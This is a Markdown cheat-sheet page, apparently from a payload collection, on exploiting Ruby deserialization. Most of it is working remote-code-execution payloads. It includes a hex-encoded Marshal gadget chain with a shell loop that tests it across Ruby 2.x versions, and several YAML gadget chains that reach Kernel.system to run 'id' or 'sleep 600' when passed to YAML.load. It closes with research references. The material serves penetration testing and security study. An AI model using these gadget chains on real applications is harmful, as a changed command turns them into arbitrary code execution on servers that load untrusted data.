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98 lines
3.5 KiB
Markdown
98 lines
3.5 KiB
Markdown
# Ruby Deserialization
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> Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
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## Summary
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* [Marshal Deserialization](#marshal-deserialization)
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* [YAML Deserialization](#yaml-deserialization)
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* [References](#references)
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## Marshal Deserialization
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Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
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```ruby
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for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
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```
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## YAML Deserialization
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Vulnerable code
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```ruby
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require "yaml"
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YAML.load(File.read("p.yml"))
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```
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Universal gadget for ruby <= 2.7.2:
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```yaml
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--- !ruby/object:Gem::Requirement
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requirements:
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!ruby/object:Gem::DependencyList
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specs:
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- !ruby/object:Gem::Source::SpecificFile
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spec: &1 !ruby/object:Gem::StubSpecification
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loaded_from: "|id 1>&2"
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- !ruby/object:Gem::Source::SpecificFile
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spec:
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```
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Universal gadget for ruby 2.x - 3.x.
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```yaml
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---
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- !ruby/object:Gem::Installer
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i: x
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- !ruby/object:Gem::SpecFetcher
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i: y
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- !ruby/object:Gem::Requirement
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requirements:
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!ruby/object:Gem::Package::TarReader
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io: &1 !ruby/object:Net::BufferedIO
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io: &1 !ruby/object:Gem::Package::TarReader::Entry
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read: 0
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header: "abc"
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debug_output: &1 !ruby/object:Net::WriteAdapter
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socket: &1 !ruby/object:Gem::RequestSet
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sets: !ruby/object:Net::WriteAdapter
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socket: !ruby/module 'Kernel'
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method_id: :system
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git_set: id
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method_id: :resolve
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```
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```yaml
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---
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- !ruby/object:Gem::Installer
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i: x
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- !ruby/object:Gem::SpecFetcher
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i: y
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- !ruby/object:Gem::Requirement
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requirements:
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!ruby/object:Gem::Package::TarReader
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io: &1 !ruby/object:Net::BufferedIO
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io: &1 !ruby/object:Gem::Package::TarReader::Entry
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read: 0
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header: "abc"
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debug_output: &1 !ruby/object:Net::WriteAdapter
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socket: &1 !ruby/object:Gem::RequestSet
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sets: !ruby/object:Net::WriteAdapter
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socket: !ruby/module 'Kernel'
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method_id: :system
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git_set: sleep 600
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method_id: :resolve
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```
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## References
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- [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
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- [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
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- [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
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- [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
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- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/) |